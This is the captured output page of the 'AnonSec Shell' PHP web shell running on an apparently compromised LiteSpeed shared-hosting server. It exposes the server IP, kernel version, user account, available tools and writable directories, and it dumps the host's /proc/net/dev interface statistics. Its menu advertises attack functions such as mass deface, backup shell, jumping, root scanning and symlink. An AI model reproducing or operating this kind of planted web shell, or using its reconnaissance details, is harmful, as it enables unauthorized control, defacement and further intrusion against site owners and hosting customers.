AnonSec Shell
Server IP : 68.65.120.251  /  Your IP : 216.73.216.186   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux server105.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : travtpib ( 6521)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/thread-self/root/proc/self/root/proc/self/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/thread-self/root/proc/self/root/proc/self/net//dev
Inter-|   Receive                                                |  Transmit
 face |bytes    packets errs drop fifo frame compressed multicast|bytes    packets errs drop fifo colls carrier compressed
    lo: 92232427745993 45184595200    0    0    0     0          0         0 92232427745993 45184595200    0    0    0     0       0          0
  eth0: 25100916479586 39676696252    0 24649248 24649248     0          0  31664696 64916172008241 59866909660    0    0    0     0       0          0
  eth1: 25183225245969 40686706934    0 22514522 22514522     0          0  31692864 46003864596865 45482536231    0    0    0     0       0          0
  eth2:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth3:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
 bgplo:       0       0    0    0    0     0          0         0   682944    9686    0    0    0     0       0          0
  eth4:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth5:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
 idrac:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth7:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth6:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
 bond0: 50284141725555 80363403186    0 47163770 47163770     0          0  63357560 110920036605106 105349445891    0    0    0     0       0          0
bond0.1000: 47714746992399 58431346775    0    0    0     0          0    289015 89057464034055 58163633470    0    0    0     0       0          0
bond0.999: 428318215382 2351515763    0    0    0     0          0    285192 18905124538951 1092724296    0    0    0     0       0          0

Anon7 - 2022
AnonSec Team